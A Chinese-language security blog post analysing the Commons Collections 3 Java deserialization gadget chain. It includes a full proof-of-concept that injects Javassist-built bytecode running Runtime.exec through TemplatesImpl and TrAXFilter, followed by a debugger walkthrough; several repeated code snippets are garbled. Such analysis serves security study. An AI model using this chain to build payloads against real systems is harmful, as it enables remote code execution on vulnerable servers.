Java安全之Commons Collections3分析

文章首发：Java安全之Commons Collections3分析

0x00 前言

在学习完成前面的CC1链和CC2链后，其实再来看CC3链会比较轻松。CC1的利用链是

Map(Proxy).entrySet()触发AnnotationInvocationHandler.invoke(),而CC2链的利用链是通过InvokerTransformer.transform()调用newTransformer触发RCE。这里就不说这么详细感兴趣可以看前面几篇文章。听说CC3链是CC1和CC2链的结合体。下面来分析一下CC3链。

0x01 前置知识

在CC3利用链的构造里面其实没有用到很多的新的一些知识点，但是有用到新的类，还是需要记录下来。

InstantiateTransformer

首先还是查看一下构造方法。

在查看下面的代码的时候会发现他的transform方法非常的有意思。

transform方法会去使用反射实例化一个对象并且返回。

TrAXFilter

查看TrAXFilter的构造方法，会发现更有意思的事情

_transformer = (TransformerImpl) templates.newTransformer();
@H_403_57@
调用了传入参数的newTransformer()方法。在CC2链分析的时候，使用的是反射调用newTransformer,newTransformer调用defineTransletClasses()。最后再调用_class.newInstance()实例化_class对象。那么如果是使用TrAXFilter的话，就不需要InvokerTransformer的transform方法反射去调用了。
0x02 POC分析
package com.test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class cc1 {

    public static void main(String[] args) throws ClassNotFoundException,NoSuchMethodException,IOException,IllegalAccessException,InvocationTargetException,InstantiationException,NotFoundException,CannotCompileException,NoSuchFieldException {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool=ClassPool.getDefault();
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload=classPool.makeClass("CommonsCollections333333333");
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec("calc");");

        byte[] bytes=payload.toBytecode();

        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
        field.setAccessible(true);
        field.set(templatesImpl,new byte[][]{bytes});

        Field field1=templatesImpl.getClass().getDeclaredField("_name");
        field1.setAccessible(true);
        field1.set(templatesImpl,"test");


        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        Map map=new HashMap();
        Map lazyMap= LazyMap.decorate(map,chainedTransformer);

        Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);

        InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
        Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
        Object object=constructor.newInstance(Override.class,map1);

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(object);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();
    }
}

@H_403_57@
上面是一段POC代码，先来分析一下，POC为什么要这样去构造。
 String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool=ClassPool.getDefault();
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload=classPool.makeClass("CommonsCollections22222222222");
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec("calc");");

        byte[] bytes=payload.toBytecode();
@H_403_57@
先来执行一遍看一下执行的结果

能够执行成功并且弹出计算器。
其实看到代码前面部分，和CC2利用链的构造是一模一样的。在CC2链中分析文章里面讲到过。这里就来简单概述一下。
Java安全之Commons Collections2分析
这里是采用了Javassist方式创建一个类，然后设置该类的主体为Runtime.exec("clac.exe")，设置完成后，将该类转换成字节码。
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
        field.setAccessible(true);
        field.set(templatesImpl,"test");
@H_403_57@
反射获取TemplatesImpl类的_bytecodes成员变量，设置值为上面使用Javassist类转换后的字节码。
反射获取TemplatesImpl类的_name成员变量，设置值为test。
 Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),new Object[]{templatesImpl})
        };
 ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
@H_403_57@
ConstantTransformer在调用transform方法的时候，会遍历的去调用数组里面transform方法。并且将执行结果传入到第二次遍历执行的参数里面。

第一次执行this.iTransformers[i]为ConstantTransformer。所以，调用的是ConstantTransformer的transform方法该方法是直接返回传入的对象。这里返回了个TrAXFilter.class对象。

而在第二次遍历执行的时候传入的就是TrAXFilter.class对象，然后再反射的去获取方法，使用newInstance实例化一个对象并且进行返回。

Map map=new HashMap();
Map lazyMap= LazyMap.decorate(map,chainedTransformer);
@H_403_57@
这里是将上面构造好的ChainedTransformer的实例化对象，传入进去。在调用lazyMap的get方法的时候，就会去调用构造好的ChainedTransformer对象的transform方法。

那么下面就会引出lazyMap的get方法的调用问题，再来看下面一段代码。
Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=cls.getDeclaredConstructor(Class.class,map1);
@H_403_57@
反射创建了一个AnnotationInvocationHandler对象，传入Override.class和lazyMap的对象，并使用AnnotationInvocationHandler作为调用处理器，为lazyMap做一个动态代理。关于这里为什么要传入一个Override.class的问题，其实因为AnnotationInvocationHandler本来就是一个处理注解的类，构造方法的第?个参数是?个Annotation类类型参数，第二个是map类型参数（所有的注解类型都继承自这个Annotation接口）。在这里面不管传入的是Retention.class还是Override.class都是可行的。
这的lazyMap作为被代理的对象后，调用任意的方法都会去执行调用处理器的invoke方法。AnnotationInvocationHandler实现了InvocationHandler  ，可以被当作调用处理器传入。而我们在这时候调用lazyMap的任意方法的话，就会执行一次AnnotationInvocationHandler中的invoke方法。而在AnnotationInvocationHandler的invoke方法中就会调用get方法。

在调用get方法后又回到了前面说到的地方，这里就会去调用transform方法去完成后面的命令执行。这里先不细说。

在分析完POC代码后其实并没有去看到一个完整的调用链，这里有必要去调试一遍。
0x03 CC3链调试
先在AnnotationInvocationHandler的readobject方法中去打个断点进行调试分析

在这里可以看到这里的this.memberValues的值为被代理的lazyMap的对象，调用了lazyMap的entrySet方法。那么这时候被代理对象的调用处理器的invoke方法会执行。前面说过使用的AnnotationInvocationHandler作为调用处理器，这里调用的就是AnnotationInvocationHandler的invoke方法，跟进一下invoke方法。

invoke方法在内部调用了lazyMap的get方法，再来跟进一下get方法
@H_705_301@

到这里其实就能看到了 this.factory.transform(key);,调用了transform方法，在这里的this.factory为ChainedTransformer的实例化对象。再来跟进一下transform方法就能看到ChainedTransformer的transform内部的调用结构。

在POC构造的时候为ChainedTransformer这个对象传入了一个数组，数组的第一值为ConstantTransformer实例化对象，第二个为InstantiateTransformer实例化对象。
所以在这里第一次遍历this.iTransformers[i]的值为ConstantTransformer。ConstantTransformer的transform会直接返回传入的对象。在POC代码构造的时候，传入的是TrAXFilter对象，所以在这里会直接进行返回TrAXFilter,并且会作为第二次遍历的传参值。

而在第二次遍历的时候，this.iTransformers[i]的值为InstantiateTransformer的实例化对象。所以调用的是InstantiateTransformer的transform方法并且传入了TrAXFilter对象。跟进一下InstantiateTransformer的transform方法。

这里其实是比较有意思的，刚刚传入的是TrAXFilter对象，所以这里的input为TrAXFilter，this.iParamTypes为Templates，this.iArgs为构造好的恶意TemplatesImpl实例化对象。（这里之所以说他是恶意的TemplatesImpl对象是因为在前面使用反射将他的_bytecodes设置成了一个使用javassist动态创建的恶意类的字节码）
该transform方法中使用getConstructor方法获取TrAXFilter参数为Templates的构造方法。

使用该构造方法创建一个对象，并且传入恶意的TemplatesImpl实例化对象。在该构造方法当中会调用TemplatesImpl的newTransformer方法。跟进一下newTransformer方法。

newTransformer方法内部调用了getTransletInstance方法再跟进一下。

这里可以看到先是判断了_name的值是否为空，为空的话就会执行返回null，不向下执行。这也是前面为什么使用反射获取并且修改_name值的原因。
下面一步是判断_class是否为空，显然我们这里的_class值是null，这时候就会调用defineTransletClasses方法，跟进一下。

下面标注出来这段是_bytecodes对_class进行赋值，这里的_bytecodes的值是使用javassist动态创建的恶意类的字节码 执行完后，来到下一步。


这里会对该字节码进行调用newInstance方法实例化一个对象，然后就可以看到命令执行成功。

关于这个为什么调用newInstance实例化一个对象，命令就直接执行成功的问题，其实我的在CC2链分析里面也说到过，主要还是看使用javassist动态创建一个类的时候，他是怎么去构造的。
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections22222222222");
payload.setSuperclass(classPool.get(AbstractTranslet));  payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec("calc");"); 
payload.writeFile("./");
@H_403_57@
先将该类写出来到文件中，然后再去查看。

看到这个其实就一目了然了，使用setBody设置主体的时候，代码其实是插入在静态代码块中的。静态代码块的代码在实例化对象的时候就会进行执行。
调用链
AnnotationInvocationHandler.readobject->(proxy)lazyMap.entrySet
->AnnotationInvocationHandler.invoke->lazyMap.get
->ChainedTransformer.transform->ConstantTransformer.transform
->InstantiateTransformer.transform->TrAXFilter(构造方法)
->TemplatesImpl.newTransformer->TemplatesImpl.getTransletInstance
->TemplatesImpl.defineTransletClasses
->(动态创建的类)cc2.newInstance()->Runtime.exec()
@H_403_57@
0x04 结尾
其实在调试CC3这条利用链的时候，会发现前半部分使用的是CC2利用链的POC代码，而后半部分则是CC1的利用链代码。调试过这两条利用链的话，调试CC3这条利用链会比较简单易懂。
在写这篇文的时候，第一次刚码完字，电脑就蓝屏了。重新打开文件的时候，文章的文件也清空了。只能重写一遍，但是重写完后，发现虽然字数也差不多，但是感觉细节点的地方还是少了东西，但是又不知道具体在哪些地方少了。
                        
（编辑：北几岛）
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